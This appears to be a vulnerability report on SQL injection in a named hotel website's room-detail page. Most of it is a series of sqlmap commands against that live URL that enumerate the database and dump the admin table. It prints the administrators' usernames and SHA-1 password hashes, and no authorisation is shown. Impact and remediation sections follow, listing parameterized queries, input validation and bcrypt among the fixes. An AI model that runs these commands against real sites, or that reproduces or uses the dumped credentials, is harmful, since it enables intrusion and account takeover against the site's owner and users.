SQL Injection Vulnerability Report (Multi-type SQL Injection vulnerability)

SQL Injection Vulnerability Report

📌 Target Information

• Target URL: http://www.embryohotel.com/room-detail.php?id=1
• Parameter: id (GET request)
• Web Technology: PHP 5.6.40, Apache
• Database: MySQL ≥ 5.1
• Tool Used: sqlmap

Executive Summary

A SQL Injection vulnerability was identified in the id parameter of the target web application. The flaw allows attackers to manipulate backend database queries and extract sensitive information, including database structure and administrative credentials.

Multiple SQL injection techniques were successfully exploited, leading to full database enumeration and data extraction.

Vulnerability Details

✅ Injection Point

• Parameter: id
• Type: GET-based SQL Injection

💉 Injection Techniques Identified

• Error-Based SQL Injection
• Boolean-Based Blind SQL Injection
• Time-Based Blind SQL Injection
• UNION-Based SQL Injection

Exploitation Methodology

1. Database Enumeration

The following command was used:

sqlmap.py -u "http://www.embryohotel.com/room-detail.php?id=1" --dbs

Result:

• information_schema
• cp227754_embryohotel_db

2. Table Enumeration

sqlmap.py -u "http://www.embryohotel.com/room-detail.php?id=1" -D cp227754_embryohotel_db --tables

Tables Identified:

• admin
• contact
• image
• local_area
• news
• room
• room_image
• room_option
• room_option_reletive
• slideshow
• slideshow_mobile

3. Column Enumeration (admin table)

sqlmap.py -u "http://www.embryohotel.com/room-detail.php?id=1" -D cp227754_embryohotel_db -T admin --columns

Columns:

• id
• username
• password
• last_insert
• last_update
• permission

Data Extraction

👤 Usernames:

python sqlmap.py -u "http://www.embryohotel.com/room-detail.php?id=1" -D cp227754_embryohotel_db -T admin -C username --dump

admin  
ARMERX

🔐 Password Hashes:

python sqlmap.py -u "http://www.embryohotel.com/room-detail.php?id=1" -D cp227754_embryohotel_db -T admin -C password --dump

8988c8cb582506f93b59b794af7212cb5406dfcf  
e742c63f03ab602f2b38433ffc28b5145ba1332d

📸 Evidence

1. sqlmap successfully identified injectable parameter

2. Database and tables extracted

3. Columns extracted

4. Admin credentials dumped (username)

5. Admin credentials dumped (password)

🚨 Impact Assessment

This vulnerability is critical because it allows:

• Full database access
• Exposure of sensitive data
• Retrieval of admin credentials
• Potential account takeover
• Possibility of further attacks (privilege escalation, data manipulation)

🛠️ Remediation Recommendations

1. Use Prepared Statements / Parameterized Queries Prevent SQL injection by avoiding dynamic query construction.
2. Input Validation & Sanitization Strictly validate user input (e.g., numeric-only for id).
3. Use ORM Frameworks Reduce direct SQL query handling.
4. Disable Detailed Error Messages Prevent attackers from gaining database insights.
5. Update Software Stack PHP 5.6 is outdated and insecure — upgrade immediately.
6. Implement Web Application Firewall (WAF) Detect and block malicious payloads.
7. Hash Passwords Securely Use strong hashing algorithms like bcrypt instead of SHA-1.

Conclusion

The application is highly vulnerable to SQL Injection, allowing attackers to fully compromise the backend database. Immediate remediation is required to prevent data breaches and unauthorized access.